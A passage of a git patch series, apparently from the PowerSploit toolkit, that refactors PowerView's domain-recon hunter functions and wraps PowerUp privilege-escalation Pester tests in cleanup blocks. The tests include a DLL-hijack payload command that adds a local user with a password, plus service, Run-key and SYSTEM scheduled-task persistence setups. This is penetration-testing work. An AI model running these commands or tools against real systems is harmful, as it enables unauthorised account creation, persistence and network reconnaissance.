($IsWow64ProcessAddr) - { - $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) - $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) - - $64bitCPU = $true + $AddressWidth = $null + + try { + $AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth + } catch { + throw 'Unable to determine OS processor address width.' } - else - { - $64bitCPU = $false + + switch ($AddressWidth) { + '32' { + $64bitOS = $False + } + + '64' { + $64bitOS = $True + + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + } + + default { + throw 'Invalid OS address width detected.' + } } if ([IntPtr]::Size -eq 4) From a2353139966fa5747d37c8288f821ea841e947ce Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 14 Dec 2015 17:34:12 -0500 Subject: [PATCH 052/296] Modified Tests/Recon.tests.ps1 to ensure file artifacts are not left on disk. --- Tests/Recon.tests.ps1 | 122 +++++++++++++++++++++++------------------- 1 file changed, 68 insertions(+), 54 deletions(-) diff --git a/Tests/Recon.tests.ps1 b/Tests/Recon.tests.ps1 index a1d539db..3e6679eb 100644 --- a/Tests/Recon.tests.ps1 +++ b/Tests/Recon.tests.ps1 @@ -405,16 +405,17 @@ Describe "Invoke-UserHunter" { Throw "Insuffient results returned" } } - It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt - if ( (Invoke-UserHunter -ComputerFile ".\targets.txt" -ShowAll | Measure-Object).count -lt 1) { - Remove-Item -Force ".\targets.txt" - Throw "Insuffient results returned" - } - else { - Remove-Item -Force ".\targets.txt" + try { + It "Should accept -ComputerFile argument" { + "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-UserHunter -ComputerFile ".\targets.txt" -ShowAll | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } } } + finally { + Remove-Item -Force ".\targets.txt" + } It "Should accept -NoPing flag" { if ( (Invoke-UserHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { Throw "Insuffient results returned" @@ -447,31 +448,33 @@ Describe "Invoke-ProcessHunter" { Throw "Insuffient results returned" } } - It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt - if ( (Invoke-ProcessHunter -ComputerFile ".\targets.txt" -UserName $env:USERNAME | Measure-Object).count -lt 1) { - Remove-Item -Force ".\targets.txt" - Throw "Insuffient results returned" - } - else { - Remove-Item -Force ".\targets.txt" + try { + It "Should accept -ComputerFile argument" { + "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-ProcessHunter -ComputerFile ".\targets.txt" -UserName $env:USERNAME | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } } } + finally { + Remove-Item -Force ".\targets.txt" + } It "Should accept -ProcessName argument" { if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -ProcessName powershell | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } - It "Should accept -UserFile argument" { - "$env:USERNAME" | Out-File -Encoding ASCII target_users.txt - if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserFile ".\target_users.txt" | Measure-Object).count -lt 1) { - Remove-Item -Force ".\target_users.txt" - Throw "Insuffient results returned" - } - else { - Remove-Item -Force ".\target_users.txt" + try { + It "Should accept -UserFile argument" { + "$env:USERNAME" | Out-File -Encoding ASCII target_users.txt + if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserFile ".\target_users.txt" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } } } + finally { + Remove-Item -Force ".\target_users.txt" + } It "Should accept -NoPing flag" { if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { Throw "Insuffient results returned" @@ -496,16 +499,17 @@ Describe "Invoke-ShareFinder" { Throw "Insuffient results returned" } } - It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt - if ( (Invoke-ShareFinder -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { - Remove-Item -Force ".\targets.txt" - Throw "Insuffient results returned" - } - else { - Remove-Item -Force ".\targets.txt" + try { + It "Should accept -ComputerFile argument" { + "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-ShareFinder -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } } } + finally { + Remove-Item -Force ".\targets.txt" + } It "Should accept -ExcludeStandard argument" { {Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -ExcludeStandard} | Should Not Throw } @@ -551,14 +555,22 @@ Describe "Invoke-FileFinder" { It "Should accept -ComputerName argument" { {Invoke-FileFinder -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw } - It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt - {Invoke-FileFinder -ComputerFile ".\targets.txt"} | Should Not Throw + try { + It "Should accept -ComputerFile argument" { + "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + {Invoke-FileFinder -ComputerFile ".\targets.txt"} | Should Not Throw + } + } + finally { Remove-Item -Force ".\targets.txt" } - It "Should accept -ShareList argument" { - "\\$($env:computername)\\IPC$" | Out-File -Encoding ASCII shares.txt - {Invoke-FileFinder -ShareList ".\shares.txt"} | Should Not Throw + try { + It "Should accept -ShareList argument" { + "\\$($env:computername)\\IPC$" | Out-File -Encoding ASCII shares.txt + {Invoke-FileFinder -ShareList ".\shares.txt"} | Should Not Throw + } + } + finally { Remove-Item -Force ".\shares.txt" } It "Should accept -Terms argument" { @@ -609,16 +621,17 @@ Describe "Find-LocalAdminAccess" { Throw "Insuffient results returned" } } - It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt - if ( (Find-LocalAdminAccess -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { - Remove-Item -Force ".\targets.txt" - Throw "Insuffient results returned" - } - else { - Remove-Item -Force ".\targets.txt" + try { + It "Should accept -ComputerFile argument" { + "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + if ( (Find-LocalAdminAccess -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } } } + finally { + Remove-Item -Force ".\targets.txt" + } It "Should accept -NoPing argument" { if ( (Find-LocalAdminAccess -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" @@ -643,16 +656,17 @@ Describe "Invoke-EnumerateLocalAdmin" { Throw "Insuffient results returned" } } - It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt - if ( (Invoke-EnumerateLocalAdmin -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { - Remove-Item -Force ".\targets.txt" - Throw "Insuffient results returned" - } - else { - Remove-Item -Force ".\targets.txt" + try { + It "Should accept -ComputerFile argument" { + "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-EnumerateLocalAdmin -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } } } + finally { + Remove-Item -Force ".\targets.txt" + } It "Should accept -NoPing argument" { if ( (Invoke-EnumerateLocalAdmin -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" From e2993b63aaf09026a11dc3ba2f0ae4a364f27113 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 14 Dec 2015 18:19:17 -0500 Subject: [PATCH 053/296] Modified Tests/Privesc.tests.ps1 to ensure file artifacts are not left on disk. --- Tests/Privesc.tests.ps1 | 165 +++++++++++++++++++++++++--------------- 1 file changed, 103 insertions(+), 62 deletions(-) diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index d1461d56..6593c84b 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -31,10 +31,13 @@ Describe 'Get-ModifiableFile' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Null | Out-File -FilePath $FilePath -Force - $Output = Get-ModifiableFile -Path $FilePath - $Output | Should Be $FilePath - - Remove-Item -Path $FilePath -Force + try { + $Output = Get-ModifiableFile -Path $FilePath + $Output | Should Be $FilePath + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } } It 'Should extract a modifiable file specified as an argument in a command string.' { @@ -43,10 +46,13 @@ Describe 'Get-ModifiableFile' { $CmdPath = "'C:\Windows\System32\nonexistent.exe' -i '$FilePath'" - $Output = Get-ModifiableFile -Path $FilePath - $Output | Should Be $FilePath - - Remove-Item -Path $FilePath -Force + try { + $Output = Get-ModifiableFile -Path $FilePath + $Output | Should Be $FilePath + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } } It 'Should return no results for a non-existent path.' { @@ -59,7 +65,7 @@ Describe 'Get-ModifiableFile' { It 'Should accept a Path over the pipeline.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" - $Output = Get-ModifiableFile -Path $FilePath + $Output = $FilePath | Get-ModifiableFile $Output | Should BeNullOrEmpty } } @@ -114,19 +120,23 @@ Describe 'Get-ServiceFilePermission' { } It 'Should return a service with a modifiable service binary.' { - $ServiceName = Get-RandomName - $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" - $Null | Out-File -FilePath $ServicePath -Force - - sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" - - $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } - sc.exe delete $ServiceName | Should Match "SUCCESS" - Remove-Item -Path $ServicePath -Force - - $Output | Should Not BeNullOrEmpty - $Output.ServiceName | Should Be $ServiceName - $Output.Path | Should Be $ServicePath + try { + $ServiceName = Get-RandomName + $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" + $Null | Out-File -FilePath $ServicePath -Force + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + + $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } + sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Output | Should Not BeNullOrEmpty + $Output.ServiceName | Should Be $ServiceName + $Output.Path | Should Be $ServicePath + } + finally { + $Null = Remove-Item -Path $ServicePath -Force + } } It 'Should not return a service with a non-existent service binary.' { @@ -138,7 +148,7 @@ Describe 'Get-ServiceFilePermission' { $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } sc.exe delete $ServiceName | Should Match "SUCCESS" - $Output | Should BeNullOrEmpty + $Output | Should BeNullOrEmpty } } @@ -167,6 +177,11 @@ Describe 'Get-ServiceDetail' { $Output = Get-ServiceDetail -ServiceName NonExistent123 $Output | Should BeNullOrEmpty } + + It 'Should accept a service name on the pipeline.' { + $Output = "Dhcp" | Get-ServiceDetail + $Output | Should Not BeNullOrEmpty + } } @@ -247,14 +262,18 @@ Describe 'Install-ServiceBinary' { } AfterEach { - $Null = Invoke-ServiceStop -ServiceName PowerUpService - $Null = sc.exe delete "PowerUpService" - $Null = $(net user john /delete >$Null 2>&1) - if(Test-Path "$(Get-Location)\powerup.exe") { - Remove-Item -Path "$(Get-Location)\powerup.exe" -Force + try { + $Null = Invoke-ServiceStop -ServiceName PowerUpService + $Null = sc.exe delete "PowerUpService" + $Null = $(net user john /delete >$Null 2>&1) } - if(Test-Path "$(Get-Location)\powerup.exe.bak") { - Remove-Item -Path "$(Get-Location)\powerup.exe.bak" -Force + finally { + if(Test-Path "$(Get-Location)\powerup.exe") { + $Null = Remove-Item -Path "$(Get-Location)\powerup.exe" -Force -ErrorAction SilentlyContinue + } + if(Test-Path "$(Get-Location)\powerup.exe.bak") { + $Null = Remove-Item -Path "$(Get-Location)\powerup.exe.bak" -Force -ErrorAction SilentlyContinue + } } } @@ -348,12 +367,18 @@ Describe 'Find-PathHijack' { New-Item -Path C:\PowerUpTest\ -ItemType directory -Force - $OldPath = $Env:PATH - $Env:PATH += ';C:\PowerUpTest\' + try { + $OldPath = $Env:PATH + $Env:PATH += ';C:\PowerUpTest\' + + $Output = Find-PathHijack | Where-Object {$_.HijackablePath -like "*PowerUpTest*"} - $Output = Find-PathHijack | Where-Object {$_.HijackablePath -like "*PowerUpTest*"} - $Env:PATH = $OldPath - $Output.HijackablePath | Should Be 'C:\PowerUpTest\' + $Env:PATH = $OldPath + $Output.HijackablePath | Should Be 'C:\PowerUpTest\' + } + catch { + $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue + } } } @@ -362,12 +387,16 @@ Describe 'Write-HijackDll' { It 'Should write a .dll that executes a custom command.' { - Write-HijackDll -OutputFile "$(Get-Location)\powerup.dll" -Command "net user testing Password123! /add" - - "$(Get-Location)\powerup.dll" | Should Exist - "$(Get-Location)\debug.bat" | Should Exist - Remove-Item -Path "$(Get-Location)\powerup.dll" -Force - Remove-Item -Path "$(Get-Location)\debug.bat" -Force + try { + Write-HijackDll -OutputFile "$(Get-Location)\powerup.dll" -Command "net user testing Password123! /add" + + "$(Get-Location)\powerup.dll" | Should Exist + "$(Get-Location)\debug.bat" | Should Exist + } + finally { + $Null = Remove-Item -Path "$(Get-Location)\powerup.dll" -Force -ErrorAction SilentlyContinue + $Null = Remove-Item -Path "$(Get-Location)\debug.bat" -Force -ErrorAction SilentlyContinue + } } } @@ -397,16 +426,20 @@ Describe 'Get-VulnAutoRun' { {Get-VulnAutoRun} | Should Not Throw } It 'Should find a vulnerable autorun.' { - $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" - $Null | Out-File -FilePath $FilePath -Force - Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" + try { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" - $Output = Get-VulnAutoRun | ?{$_.Path -like "*$FilePath*"} + $Output = Get-VulnAutoRun | ?{$_.Path -like "*$FilePath*"} - Remove-Item -Path $FilePath -Force - $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp - - $Output.ModifiableFile | Should Be $FilePath + $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp + + $Output.ModifiableFile | Should Be $FilePath + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } } } @@ -424,16 +457,20 @@ Describe 'Get-VulnSchTask' { It 'Should find a vulnerable config file for a binary specified in a schtask.' { - $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" - $Null | Out-File -FilePath $FilePath -Force - - $Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f + try { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force - $Output = Get-VulnSchTask | Where-Object {$_.TaskName -eq 'PowerUp'} - $Null = schtasks.exe /delete /tn PowerUp /f - Remove-Item -Path $FilePath -Force + $Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f - $Output.TaskFilePath | Should Be $FilePath + $Output = Get-VulnSchTask | Where-Object {$_.TaskName -eq 'PowerUp'} + $Null = schtasks.exe /delete /tn PowerUp /f + + $Output.TaskFilePath | Should Be $FilePath + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } } } @@ -445,11 +482,15 @@ Describe 'Get-UnattendedInstallFile' { It 'Should return a leftover autorun' { $FilePath = Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml" - $Null | Out-File -FilePath $FilePath -Force - $Output = Get-UnattendedInstallFile - $Output | Should Not BeNullOrEmpty + try { + $Null | Out-File -FilePath $FilePath -Force + $Output = Get-UnattendedInstallFile - Remove-Item -Path $FilePath -Force + $Output | Should Not BeNullOrEmpty + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } } } @@ -480,6 +521,6 @@ Describe 'Invoke-AllChecks' { $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" $HtmlReportFile | Should Exist - Remove-Item -Path $HtmlReportFile -Force + $Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue } } From 5690b09027b53a5932e42399f6943e03fa32e549 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 14 Dec 2015 19:01:10 -0500 Subject: [PATCH 054/296] Get-NetDomain now not called if -ComputerName or -ComputerFile are passed for meta functions, in order to prevent failure when running on a non-domain joined machine took out FQDN Pester tests from Recon.tests.ps1 that used $env:userdnsdomain --- Recon/PowerView.ps1 | 230 ++++++++++++++++++++++-------------------- Tests/Recon.tests.ps1 | 171 ++++++++++--------------------- 2 files changed, 173 insertions(+), 228 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 46285f4e..57a5789e 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -7914,32 +7914,33 @@ function Invoke-UserHunter { Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - ##################################################### # # First we build the host target set # ##################################################### + if($ComputerFile) { + # if we're using a host list, read the targets in and add them to the target list + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { [Array]$ComputerName = @() - - if($ComputerFile) { - # if we're using a host list, read the targets in and add them to the target list - $ComputerName = Get-Content -Path $ComputerFile + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } } - elseif($Stealth) { + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + if($Stealth) { Write-Verbose "Stealth mode! Enumerating commonly used servers" Write-Verbose "Stealth source: $StealthSource" @@ -8020,7 +8021,12 @@ function Invoke-UserHunter { elseif($UserName) { Write-Verbose "[*] Using target user '$UserName'..." $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + if($TargetDomains) { + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + } + else { + $User | Add-Member Noteproperty 'MemberDomain' $Null + } $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower() $TargetUsers = @($User) } @@ -8028,7 +8034,12 @@ function Invoke-UserHunter { elseif($UserFile) { $TargetUsers = Get-Content -Path $UserFile | ForEach-Object { $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + if($TargetDomains) { + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + } + else { + $User | Add-Member Noteproperty 'MemberDomain' $Null + } $User | Add-Member Noteproperty 'MemberName' $_ $User } | Where-Object {$_} @@ -8507,37 +8518,37 @@ function Invoke-ProcessHunter { Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay" - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - ##################################################### # # First we build the host target set # ##################################################### + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile + [array]$ComputerName = @() + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } } else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath - } + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) } + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + # remove any null target hosts, uniquify the list and shuffle it $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } if($($ComputerName.Count) -eq 0) { @@ -9178,7 +9189,13 @@ function Invoke-ShareFinder { $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") } + # if we're using a host file list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { + [array]$ComputerName = @() if($Domain) { $TargetDomains = @($Domain) @@ -9191,19 +9208,12 @@ function Invoke-ShareFinder { # use the local domain $TargetDomains = @( (Get-NetDomain).name ) } - - # if we're using a host file list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath - } + + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath } - + # remove any null target hosts, uniquify the list and shuffle it $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } if($($ComputerName.count) -eq 0) { @@ -9621,18 +9631,6 @@ function Invoke-FileFinder { } } - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - # if we're hard-passed a set of shares if($ShareList) { ForEach ($Item in Get-Content -Path $ShareList) { @@ -9643,34 +9641,51 @@ function Invoke-FileFinder { } } } - if($SearchSYSVOL) { - ForEach ($Domain in $TargetDomains) { - $DCSearchPath = "\\$Domain\SYSVOL\" - Write-Verbose "[*] Adding share search path $DCSearchPath" - $Shares += $DCSearchPath - } - if(!$Terms) { - # search for interesting scripts on SYSVOL - $Terms = @('.vbs', '.bat', '.ps1') - } - } else { - # if we're using a host list, read the targets in and add them to the target list + # if we're using a host file list, read the targets in and add them to the target list if($ComputerFile) { $ComputerName = Get-Content -Path $ComputerFile } - else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + + if(!$ComputerName) { + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) } - } - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" + if($SearchSYSVOL) { + ForEach ($Domain in $TargetDomains) { + $DCSearchPath = "\\$Domain\SYSVOL\" + Write-Verbose "[*] Adding share search path $DCSearchPath" + $Shares += $DCSearchPath + } + if(!$Terms) { + # search for interesting scripts on SYSVOL + $Terms = @('.vbs', '.bat', '.ps1') + } + } + else { + [array]$ComputerName = @() + + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } } } @@ -9953,8 +9968,15 @@ function Find-LocalAdminAccess { $RandNo = New-Object System.Random Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay" - + + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { + [array]$ComputerName = @() + if($Domain) { $TargetDomains = @($Domain) } @@ -9967,18 +9989,11 @@ function Find-LocalAdminAccess { $TargetDomains = @( (Get-NetDomain).name ) } - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController - } + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController } - + # remove any null target hosts, uniquify the list and shuffle it $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } if($($ComputerName.Count) -eq 0) { @@ -10521,7 +10536,13 @@ function Invoke-EnumerateLocalAdmin { Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay" + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { + [array]$ComputerName = @() if($Domain) { $TargetDomains = @($Domain) @@ -10535,18 +10556,11 @@ function Invoke-EnumerateLocalAdmin { $TargetDomains = @( (Get-NetDomain).name ) } - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController - } + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController } - + # remove any null target hosts, uniquify the list and shuffle it $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } if($($ComputerName.Count) -eq 0) { diff --git a/Tests/Recon.tests.ps1 b/Tests/Recon.tests.ps1 index 3e6679eb..8fd3d756 100644 --- a/Tests/Recon.tests.ps1 +++ b/Tests/Recon.tests.ps1 @@ -163,11 +163,6 @@ Describe "Get-NetLocalGroup" { It "Should accept -GroupName argument" { {Get-NetLocalGroup -GroupName "Remote Desktop Users"} | Should Not Throw } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-NetLocalGroup -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect local administrators returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-NetLocalGroup -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect local administrators returned" @@ -179,7 +174,7 @@ Describe "Get-NetLocalGroup" { } } It "Should accept pipeline input" { - if ( ( "$env:computername.$env:userdnsdomain" | Get-NetLocalGroup | Measure-Object).count -lt 1) { + if ( ( "$env:computername" | Get-NetLocalGroup | Measure-Object).count -lt 1) { Throw "Incorrect local administrators returned" } } @@ -192,11 +187,6 @@ Describe "Get-NetShare" { Throw "Incorrect share results returned" } } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-NetShare -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect local administrators returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-NetShare -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect local administrators returned" @@ -208,7 +198,7 @@ Describe "Get-NetShare" { } } It "Should accept 